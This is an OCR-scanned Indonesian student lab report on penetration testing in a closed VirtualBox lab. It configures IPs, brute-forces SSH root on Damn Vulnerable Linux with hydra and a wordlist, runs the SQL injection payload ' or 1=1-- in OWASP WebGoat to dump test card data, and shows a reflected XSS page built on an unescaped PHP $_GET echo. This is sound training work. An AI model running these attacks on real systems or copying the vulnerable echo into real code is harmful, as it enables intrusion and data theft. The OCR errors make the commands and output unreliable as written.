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# Konfigurasi IP pada Ubuntu

root@sam-VirtualBox:/home/sam# ifconfig eth® 192.168.10.208/24
root@sam-vVirtualBox: /home/sam#t ifconfig
ethe Link encap:Ethernet HWaddr ©8:00:27:03:83:78
inet addr:192.168.10.20 Bcast:192.168.10.255 Mask:255.255.255.0
inet6 addr: fe8@::a00:27ff:fe03:378/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1760 errors:® dropped:@ overruns:0 frame:®
TX packets:1534 errors:@ dropped:@ overruns:0 carrier:@
collisions:0 txqueuelen:1080
RX bytes:314279 (314.2 KB) TX bytes:218933 (218.9 KB)

Link encap:Local Loopback

inet addr:127.0.8.1 Mask:255.0.8.0

inet6 addr: /128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:214 errors:0 dropped:@ overruns:® frame:@
TX packets:214 errors:0 dropped:® overruns:® carrier:@
collisions:® txqueuelen:®

RX bytes:14897 (14.8 KB) TX bytes:14897 (14.8 KB)

# Konfigurasi IP pada DVL

bt ifconfig ethd 192.166.10.10-24
bt ifconfig
ethd Link encap:Ethernet HUaddr 08:00:27:18:B7:2B
inet addr:192.168.10.10 Bcast:192.168.10.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MULTICAST HMTU:1500 HMetric:1
RX packets:Z errors:@ dropped:® overruns:0 frame:0
TX packets:5 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen: 1000
RX bytes:1188 (1.1 KiB) TX bytes:2420 (2.3 KiB)
Base address:0xd010 Memory:f0000000-f0020000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

UP LOOPBACK RUNNING HTU:16436 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:9 dropped:® overruns:0 carrier:@
collisions:0 txqueuelen:0

RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

# Mengaktifkan service SSH pada DVL
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# “Brute Force” pada service SSH menggunakan tools hydra ke DVL

root@sam-VirtualBox: /home/sam# hydra -1 root -P password.lst 192.168.10.10 ssh
Hydra v8.0 (c) 2014 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-03-18 22:32:26
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 101 login tries (l:1/p:101), ~0 tries per task

[DATA] attacking service ssh on port 22

[22]1[ 1 host: login: password:

[STATUS] attack finished for 192.168.10.10 (waiting for children to finish) ...
1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2017-83-18 22:32:37

Brute force menggunakan hydra dengan metode dictionary attack, metode ini memanfaatkan daftar
password yang umum digunakan. Adupan sintak yang digunakan yaitu “hydra —| root —P password.|st
192.168.10.10 ssh” pada sintak tersebut dianggap bahwa username yang digunakan untuk login
adalah “root”, password.Ist ada wordlist/dictionary attack yang berisi daftar kumpulan password yang
biasanya digunakan oleh system admin, sedangkan “ssh” adalah service pada server tersebut yang
ingin di brute force. Setelah perintah brute force menggunakan hydra dijalankan, didapat hasil
“[22][ssh] host: 192.168.10.10 login: root password: toor” dari hasil tersebut “[22]” ada urutan
password “toor” didalam wordlist pada file password.Ist yang mana merupakan nomor baris yaitu 22.
“[ssh]” adalah jenis layanannya. “host: 192.68.10.10” adalah IP target yang di brute force. “login: root
password: toor” adalah hasil dari brute force yaitu berupa password yaitu “toor”.

# Web Hacking / Web Explotation menggunakan Web Goat yang ada pada DVL.
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Web Goat adalah Project Open Source yang dapat digunakan agar orang lain bisa belajar web hacking.
Salah satunya adalah SQL Injection. Web-Goat yang digunakan di sini adalah Web-Goat v5.1 Standard
Distribution.
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Setelah Web Goat dijalankan, akan tampil window “Shell — Start WebGoat Port 80” yang berisi
beberapa informasi, diantaranya yaitu:

Open http://127.0.0.1/WebGoat/attack
Username: guest

Password: guest
Or try http://guest:guest@127.0.0.1/WebGoat/attack
Informasi address dan login detail tersebut nantinya akan digunakan untuk mengakses WebGoat.

Berikut ini adalah tampilan WebGoat yang dibuka menggunakan browser yang sudah tersedia pada
DVL.

WebGoat V5.1 - Kongueror
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Thank you for using WebGoat!

This program is a demonstration of common web application flaws. The exercises are intended
to provide hands on experience with application penetration testing techniques.

The WebGoat project is lead by Bruce Mayhew. Please send all comments to Bruce at
webgoat@owasp.org.
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Untuk memulai WebGoat ketika tinggal meng klik button “Start WebGoat” pada halaman
http://127.0.0.1/WebGoat/attack.

Pada tahap selanjutnya dilakukan percobaan “SQL Injection” yang dapat diakses pada menu di left
sidebar halaman WebGoat > Injection Flaws > String SQL Injection. SQL injection adalah jenis aksi
hacking pada keamanan komputer di mana seorang penyerang bisa mendapatkan akses ke basis data
di dalam sistem. Percobaan pertama dilakukan dengan mencari user dengan lastname “Smith”
dengan memanfaatkan searchbox atau jika menggunakan sintak SQL yaitu “SELECT * FROM user_data
WHERE last_name = ‘Smith’.



String SQL Injection - Konqueror
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SQL injection attacks represent a serious threat to any database-driven site. The methods behind an
attack are easy to learn and the damage caused can range from considerable to complete system
compromise, Despite these risks, an incredible number of systemns on the internet are susceptible to
thisform of attack.

Mot only is it a threat easily instigated, itis also a threat that, with a little common-sense and
forethought, can easily be prevented

Itis always good practice to sanitize all input data, especially data that will used in OS5 command,

Command Injection scripts, and database queiries, even if the threat of SQL injection has been prevented in some other
manner
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Informasi yang didapatkan yaitu berupa USERID, FIRST_NAME, LAST_NAME, CC_NUMBER, CC_TYPE,
COOKIE, dan LOGIN_COUNT

USERID | FURST_NAME | LAST_NAME | CC_NUMBER CC_TYPE | COOKIE | LOGIN_COUNT
102 John Smith 2435600002222 | MC 0
102 John Smith 4352209902222 | AMEX 0

Data diatas adalah data pencarian last_name “Smith” pada database yang didapatkan dengan
menggunakan searchbox yang ada pada SQL Injection WebGoat, atau jika menggunakan sintak SQL
akan yaitu “SELECT * FROM user_data WHERE last_name = ‘Smith’.

Selanjutnya dilakukan SQL Injection untuk melihat seluruh user yang ada pada database tersebut
dengan memanfaatkan celah query “’” dan boolean 1=1. Adapun sintak SQL yang digunakan untuk
melihat seluruh user yaitu “SELECT * FROM user_data WHERE last_name= ‘test’ or 1=1 - "“. Jika sintak
SQL ini digunakan maka akan memaksa pemilihan (selection) pada data fied (*) dari semua user dan
bukan dari satu nama user tertentu dikarenakan evaluasi 1=1 selalu benar.



String SQL Injection - Konqueror
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SQLinjection attacks represent a serious threat to any database-driven site. The methods behind an
attack are easy to learn and the damage caused can range from considerable to complete systemn
compromise. Despite these risks, an incredible number of systerns on the internet are susceptible to
this form of attack

rameters

Mot only isit a threat easily instigated, it is also a threat that, with a little common-sense and
forethought, can easily be prevented.

Itis always good practice to sanitize all input data, especially data that will used in OS5 command,
Command Injection scripts, and database queiries, even if the threat of SQL injection has been prevented in some other

Blind SOL Injection manner.
Murneric SOL Injectian
Log Spoofing

XPATH Injection

General Goal(s):
The form below allows a user to view their credit card numbers. Try to inject an SQL string that results
in all the credit card numbers being displayed. Try the user name of 'smith'.

@ o *Congratulations. You have successfully completed this lesson.

String SQL Injection * Bet you can't do itagain! This lesson has detected your successfull attack and has now
LAB: 501 Injection switched to a defensive mode. Try again to attack a parameterized query.
LAB: 5QL Injection

Sane 1: String SOL

[njection Enter your last name: t@st' or 1=1-- Go!
Stage 2: Parameterized
Query #1 SELECT * FROM user_data WHERE last_name = 'test' or 1=1 -- '
Stage 3: Numeric SOL
Tnjection [USERID [FIRST_NAME [LAST_NAME|[CC_NUMBER | |CC_TYPE||COOKIE [LOGIN_COUNT
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USERID | FURST_NAME | LAST_NAME | CC_NUMBER CC_TYPE | COOKIE | LOGIN_COUNT
101 Joe Snow 987654321 VISA 0
101 Joe Snow 2234200065411 | MC 0
102 John Smith 2435600002222 | MC 0
102 John Smith 4352209902222 | AMEX 0
103 Jane Plane 123456789 MC 0
103 Jane Plane 333498703333 | AMEX 0
10312 | Jolly Hershey 176896789 MC 0
10312 | Jolly Hershey 333300003333 | AMEX 0
10323 Grumpy White 673834489 MC 0
10323 Grumpy White 33413003333 AMEX 0
15603 Peter Sand 123609789 MC 0
15603 Peter Sand 338893453333 | AMEX 0
15613 Joesph Something 33843453533 AMEX 0

#XSS Injection

XSS(Cross Site Scripting) adalah teknik hacking dengan jenis serangan injeksi kode (Code Injection
Attack).

Script localhost/xss/index.php/

<html>
<head><title>XSS</title></head>

<body>




Yeah!!!
<?php echo $_GET['do']; ?>

(] xss X+
€ G localhost/xss/index.php?do=<div style="color: 7C0;">Yeaaaaaaaaaah!!!!!! c Search ﬂ' B Q@ 4+ A

Yeah!!!



